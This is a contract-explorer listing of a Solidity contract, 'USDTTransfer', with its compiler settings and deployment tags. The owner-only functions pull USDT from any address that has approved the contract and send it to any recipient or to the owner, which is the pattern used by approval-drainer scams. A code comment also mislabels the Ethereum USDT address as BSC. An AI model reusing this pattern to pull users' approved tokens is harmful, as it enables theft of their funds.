USDTTransfer

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "contracts/tok.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.0;\r
\r
interface IERC20 {\r
    function transfer(address to, uint256 amount) external returns (bool);\r
    function transferFrom(address from, address to, uint256 amount) external returns (bool);\r
    function balanceOf(address account) external view returns (uint256);\r
    function allowance(address owner, address spender) external view returns (uint256);\r
}\r
\r
contract USDTTransfer {\r
    address public owner;\r
    IERC20 public usdtToken;\r
    \r
    // USDT contract address on BSC mainnet\r
    address constant USDT_ADDRESS = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\r
    \r
    event TokensTransferred(address indexed from, address indexed to, uint256 amount);\r
    \r
    modifier onlyOwner() {\r
        require(msg.sender == owner, "Only owner can call this function");\r
        _;\r
    }\r
    \r
    constructor() {\r
        owner = msg.sender;\r
        usdtToken = IERC20(USDT_ADDRESS);\r
    }\r
    \r
    // Transfer USDT from user to specified address\r
    function transferUSDT(address from, address to, uint256 amount) external onlyOwner {\r
        require(from != address(0), "Invalid from address");\r
        require(to != address(0), "Invalid to address");\r
        require(amount > 0, "Amount must be greater than 0");\r
        \r
        // Check if user has enough balance\r
        uint256 userBalance = usdtToken.balanceOf(from);\r
        require(userBalance >= amount, "Insufficient balance");\r
        \r
        // Check if contract has enough allowance\r
        uint256 allowance = usdtToken.allowance(from, address(this));\r
        require(allowance >= amount, "Insufficient allowance");\r
        \r
        // Transfer tokens from user to specified address\r
        bool success = usdtToken.transferFrom(from, to, amount);\r
        require(success, "Transfer failed");\r
        \r
        emit TokensTransferred(from, to, amount);\r
    }\r
    \r
    // Transfer USDT from user to contract owner\r
    function transferUSDTToOwner(address from, uint256 amount) external onlyOwner {\r
        require(from != address(0), "Invalid from address");\r
        require(amount > 0, "Amount must be greater than 0");\r
        \r
        // Check if user has enough balance\r
        uint256 userBalance = usdtToken.balanceOf(from);\r
        require(userBalance >= amount, "Insufficient balance");\r
        \r
        // Check if contract has enough allowance\r
        uint256 allowance = usdtToken.allowance(from, address(this));\r
        require(allowance >= amount, "Insufficient allowance");\r
        \r
        // Transfer tokens from user to contract owner\r
        bool success = usdtToken.transferFrom(from, owner, amount);\r
        require(success, "Transfer failed");\r
        \r
        emit TokensTransferred(from, owner, amount);\r
    }\r
    \r
    // Check user's USDT balance\r
    function getUserBalance(address user) external view returns (uint256) {\r
        return usdtToken.balanceOf(user);\r
    }\r
    \r
    // Check how much USDT user has approved for this contract\r
    function getAllowance(address user) external view returns (uint256) {\r
        return usdtToken.allowance(user, address(this));\r
    }\r
    \r
    // Change owner (optional)\r
    function transferOwnership(address newOwner) external onlyOwner {\r
        require(newOwner != address(0), "Invalid new owner address");\r
        owner = newOwner;\r
    }\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x30032fe1265651fa5cb7c764881285405bacdcd6|verified:true|block:23734637|tx:0x5306362109c6c5e465771fa6dbfd837a826c9f4f0b3250c0039cb16e1880c579|first_check:1762364761

Submitted on: 2025-11-05 18:46:02

Comments

Log in to comment.

No comments yet.